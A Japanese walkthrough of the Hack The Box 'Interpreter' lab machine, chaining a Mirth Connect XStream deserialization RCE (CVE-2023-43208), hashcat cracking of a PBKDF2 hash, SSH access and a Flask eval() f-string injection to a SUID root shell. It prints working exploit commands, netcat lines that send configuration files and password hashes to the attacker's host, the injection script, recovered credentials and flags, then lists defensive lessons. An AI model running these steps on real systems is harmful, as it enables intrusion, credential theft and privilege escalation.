Hack The BoxのWriteup(Interpreter)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告


HackTheBox: Interpreter — CVE-2023-43208 XStream RCE → PBKDF2 hashcat → Flask eval() f-string injection → root

ポートスキャン

bash nmap
nmap -sV -sC -p- 10.129.244.184 –min-rate 5000
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0) 80/tcp open http Jetty 10.0.x 443/tcp open https Jetty 10.0.x 6661/tcp open unknown
ポイント

Jetty + 443 は Mirth Connect の典型的な構成。webstart.jnlp でバージョン確認。

Mirth Connect バージョン確認

bash curl webstart.jnlp
curl -sk https://10.129.244.184/webstart.jnlp
<jnlp codebase=”https://10.129.244.184:443″ version=”4.4.0″> <title>Mirth Connect Administrator 4.4.0</title> …
発見

Mirth Connect 4.4.0 は CVE-2023-43208 (XStream deserialization pre-auth RCE) の対象バージョン。

Phase 2

CVE-2023-43208 — XStream デシリアライゼーション Pre-Auth RCE

PoC 取得・準備

bash PoC ダウンロード
curl -s https://github.com/jakabakos/…/CVE-2023-43208.py -o exploit.py
手法解説

CommonsCollections4 + EventUtils$EventBindingInvocationHandler gadget chain を使用。POST /api/users + X-Requested-With: OpenAPI ヘッダ必須。応答 HTTP 500 = payload 受理済みを示す。

RCE 確認 (OOB nc callback)

bash 攻撃者側リスナー
nc -lvnp 9191
bash exploit 実行
python3 exploit.py -u https://10.129.244.184 -c ‘id 2>&1 | nc -q 1 10.10.15.201 9191’
uid=103(mirth) gid=111(mirth) groups=111(mirth)
ポイント

exec(String[]) で [“sh”,”-c”,”CMD”] を渡すためスペースを含むコマンドも実行可能。OOB (Out-Of-Band) 経由でコマンド実行結果を確認。

mirth.properties から DB 認証情報取得

bash 設定ファイル外部転送
python3 exploit.py -u https://10.129.244.184 -c ‘cat /usr/local/mirthconnect/conf/mirth.properties | nc -q 1 10.10.15.201 9192’
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod database.username = mirthdb database.password = MirthPass123!

取得認証情報

mirthdb : MirthPass123!
Phase 3

MariaDB 侵入 → sedric ハッシュ → hashcat クラック

MariaDB テーブル調査

bash PERSON テーブル構造確認 (OOB)
mysql -umirthdb -pMirthPass123! mc_bdd_prod –skip-column-names \ -e ‘DESCRIBE PERSON’ | nc -q 1 10.10.15.201 9193
ID int(11) NO PRI NULL USERNAME varchar(40) NO NULL EMAIL varchar(128) YES NULL FIRST_NAME varchar(40) YES NULL LAST_NAME varchar(40) YES NULL
ポイント

PERSON テーブルの主キーは PERSON_ID ではなく ID。PERSON_PASSWORD との JOIN に注意。

PERSON_PASSWORD テーブルから sedric ハッシュ取得

bash ハッシュ抽出 (OOB 転送)
mysql -umirthdb -pMirthPass123! mc_bdd_prod –skip-column-names \ -e “SELECT p.PASSWORD FROM PERSON_PASSWORD p \ JOIN PERSON u ON u.ID=p.PERSON_ID \ WHERE u.USERNAME=’sedric'” | nc -q 1 10.10.15.201 9194
u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==
スキーマ解析

PERSON_PASSWORD スキーマは (PERSON_ID, PASSWORD, PASSWORD_DATE) のみ。SALT/ITERATIONS カラムなし。PASSWORD に 8-byte salt + 32-byte PBKDF2-SHA256 key を base64 エンコードして格納 (Digester.java DEFAULT_SALT_SIZE=8, DEFAULT_ITERATIONS=600000)。

ハッシュ分解と hashcat フォーマット作成

bash base64 デコード → salt / digest 分離
# base64 デコード → 先頭 8 バイト = salt、残り 32 バイト = PBKDF2 key echo ‘u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==’ | base64 -d | head -c8 | base64 -w0 > salt echo ‘u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==’ | base64 -d | tail -c+9 | base64 -w0 > digest cat hash_crack
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
フォーマット解説

hashcat mode 10900 (PBKDF2-HMAC-SHA256)。フォーマット: sha256:<iters>:<base64_salt>:<base64_hash>。salt・hash ともに base64 エンコードが必須。

hashcat クラック

bash hashcat PBKDF2-HMAC-SHA256
hashcat -m 10900 hash_crack /usr/share/wordlists/rockyou.txt
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1 Session……….: hashcat Status………..: Cracked

取得認証情報

sedric : snowflake1
Phase 4

SSH sedric → user.txt 取得

SSH 接続

bash SSH ログイン (password: snowflake1)
ssh sedric@10.129.244.184
uid=1000(sedric) gid=1000(sedric) groups=1000(sedric)

user.txt 取得

bash フラグ読み込み
cat /home/sedric/user.txt

user.txt

8274d238569b3e599f76dfb26a4e5faf
Phase 5

notif.py Flask eval() f-string インジェクション → SUID bash → root.txt

localhost:54321 の Flask サービス発見

bash ソケット確認
ss -tlnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 128 127.0.0.1:54321 0.0.0.0:*
発見

ps auxww で /usr/local/bin/notif.py が root として起動中。ファイルパーミッションは -rwxr----- root:sedric。sedric のみ読み取り可。

notif.py ソースコード確認

python3 /usr/local/bin/notif.py (抜粋)
# /usr/local/bin/notif.py (抜粋) USER_DIR = “/var/secure-health/patients/” pattern = re.compile(r”^[a-zA-Z0-9._’\”(){}=+/]+$”) # スペース不許可、{} 許可 def template(first, last, sender, ts, dob, gender): # 全フィールドの正規表現チェック後… template = f”Patient {first} {last} ({gender}), …” return eval(f”f”'{template}”'”) # f-string インジェクション! @app.route(“/addPatient”, methods=[“POST”]) def receive(): if request.remote_addr != “127.0.0.1”: abort(403) # XML パース → 6フィールド抽出 → template() 呼び出し
脆弱点

eval(f"f'''{template}'''") が脆弱点。フィールドに {Python式} を埋め込むと eval で評価される。スペースは正規表現で禁止されているが、base64 エンコードで回避可能。

f-string インジェクションでコマンド実行確認

bash curl で id コマンド実行
curl localhost:54321/addPatient -H ‘Content-Type: whatever’ \ -d ‘<patient> <firstname>first</firstname><lastname>last</lastname> <sender_app>app</sender_app><timestamp>1234</timestamp> <birth_date>01/01/2000</birth_date> <gender>{__import__(“os”).popen(“id”).read()}</gender> </patient>’
Patient first last (uid=0(root) gid=0(root) groups=0(root) ), 26 years old, received from app at 1234

SUID bash 作成 (base64 スペース回避)

bash コマンドを base64 エンコード (スペース含むため)
echo ‘cp /bin/bash /tmp/pwn; chmod +s /tmp/pwn’ | base64 -w0 # → Y3AgL2Jpbi9iYXNoIC90bXAvcHduOyBjaG1vZCArcyAvdG1wL3B3bg==
python3 /tmp/flask_exploit.py — urllib で POST
import urllib.request, base64 cmd = ‘cp /bin/bash /tmp/pwn; chmod +s /tmp/pwn’ b64 = base64.b64encode(cmd.encode()).decode() payload_gender = f'{{__import__(“os”).popen(__import__(“base64”).b64decode(“{b64}”).decode()).read()}}’ xml = (f'<patient><firstname>first</firstname><lastname>last</lastname>’ f'<sender_app>app</sender_app><timestamp>1234</timestamp>’ f'<birth_date>01/01/2000</birth_date>’ f'<gender>{payload_gender}</gender></patient>’) req = urllib.request.Request( “http://127.0.0.1:54321/addPatient”, data=xml.encode(), headers={“Content-Type”: “whatever”} ) print(urllib.request.urlopen(req).read().decode())
Patient first last (), 26 years old, received from app at 1234
bash SUID 確認
ls -la /tmp/pwn
-rwsr-sr-x 1 root root 1265648 Jun 29 01:39 /tmp/pwn

SUID bash 作成成功

/tmp/pwn — rwsr-sr-x root

root.txt 取得

bash SUID bash で root 権限実行
/tmp/pwn -p -c ‘id && cat /root/root.txt’
uid=1000(sedric) gid=1000(sedric) euid=0(root) egid=0(root) groups=0(root),1000(sedric) 552be849004f2840d8916261281db366

root.txt

552be849004f2840d8916261281db366
Summary

全体まとめと防御側の学び

攻撃チェーンの全体像

段階 使った脆弱性 取得したもの
1 Mirth Connect バージョン露出 CVE-2023-43208 特定
2 XStream デシリアライゼーション RCE mirth シェル / mirthdb:MirthPass123!
3 PBKDF2 ハッシュ (600000 iters) クラック sedric:snowflake1
4 SSH 認証情報 user.txt
5 Flask eval() f-string injection SUID bash / root.txt

防御側の学び

  • Mirth Connect を 4.4.1 以上に更新する: CVE-2023-43208 は 4.4.1 で修正済み。Pre-Auth RCE は最優先でパッチ適用が必要。
  • mirth.properties の DB パスワード管理: プレーンテキストの設定ファイルに認証情報を書かない。環境変数や secret manager (Vault 等) で管理する。
  • PBKDF2 反復回数の見直し: 600000 iters は現在 (2026) では不十分な場合あり。Argon2id への移行を検討する。
  • Flask サービスでの eval() 禁止: eval(f"f'''{template}'''") は f-string インジェクション攻撃の温床。テンプレートエンジン (Jinja2) を使用すること。
  • localhost バインドでも安心しない: SSRF や内部サービスへの横展開でアクセス可能。入力検証はホワイトリスト方式で厳格に行う。

このレポートは Hack The Box の授権済み CTF 環境を対象にした学習用資料です。実環境への無断アクセスや悪用は禁止されています。